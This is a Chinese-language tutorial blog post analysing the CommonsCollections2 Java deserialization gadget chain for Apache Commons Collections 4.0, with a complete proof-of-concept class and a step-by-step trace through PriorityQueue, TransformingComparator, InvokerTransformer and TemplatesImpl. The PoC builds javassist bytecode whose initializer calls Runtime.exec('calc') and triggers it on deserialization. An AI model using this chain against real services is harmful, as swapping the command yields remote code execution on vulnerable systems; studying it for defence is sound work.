赞
踩
CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类的readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同
有关环境配置请看
不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
可以看这篇文章
ysoserial中给出的链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify();
PriorityQueue.siftDown();
siftUpUsingComparator();
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
package org.example; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class cc2 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("cc2");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 queue.add(1);//添加数字1插入此优先级队列 queue.add(1);//添加数字1插入此优先级队列 Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
先看下PriorityQueue类
中的readObject方法
,代码如下
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
这里我们发现,会先调用defaultReadObject()方法
将序列化文件反序列化,然后调用readInt()方法
获取优先队列的长度
然后执行 queue[i] = s.readObject()
,将优先队列的值赋值给queue[i]数组
,queue[i]数组值是在调用writeObject方法序列化时定义的,
queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的
TemplatesImpl
对象,具体利用下面有讲
在对queue[i]
循环赋值完成后会调用heapify()方法
,我们跟进查看其代码
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
我们看到代码 int i = (size >>> 1) - 1;
,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2
然后我们看到循环中的 siftDown方法
,代码如下
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这里E x
则为刚才传入的queue[i]
,我们跟进到siftDownUsingComparator方法
,代码如下
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0) //由此进入
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
这里会对queue[i]
执行comparator.compare
方法,我们看到comparator属性
的定义如下
private final Comparator<? super E> comparator;
我们发现comparator属性
为私有的,在poc当中通过反射把该属性的值设为了TransformingComparator对象
,代码如下
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
我们跟进到该对象的compare方法
,代码如下
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这里调用了InvokerTransformer对象
**(transformer属性)**的transform方法
,我们跟进查看代码
public O transform(final Object input) { if (input == null) { return null; } try { final Class<?> cls = input.getClass(); final Method method = cls.getMethod(iMethodName, iParamTypes); return (O) method.invoke(input, iArgs); } catch (final NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (final IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (final InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
这里的input属性
仍为之前的queue[i]
,iMethodName属性
的值为我们创建对象时,通过构造方法穿进去的"newTransformer"
method.invoke(input, iArgs);
这句代码会调用queue[i]
的newTransformer
方法
poc中的queue[0]
被赋值为TemplatesImpl对象
,定义如下
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
//templatesImpl即为携带恶意静态代码的对象
下面流程基本和cc3相同了
我们跟进到TemplatesImpl对象
的newTransformer
方法,代码如下
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); //关键语句 if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
我们代码中标注的关键语句调用了getTransletInstance()
方法,我们查看其代码如下
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
……………………
}
可以看到假如满足if (_name != null)
且if (_class == null)
的话会调用defineTransletClasses()方法
,代码如下
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } ………… for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); //注意 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } ………… }
这里会加载携带恶意静态代码的字节流类_bytecodes
复制给数组_class[i]
,然后回到getTransletInstance()
方法
执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成
需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类
的子类
成功弹出计算器
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。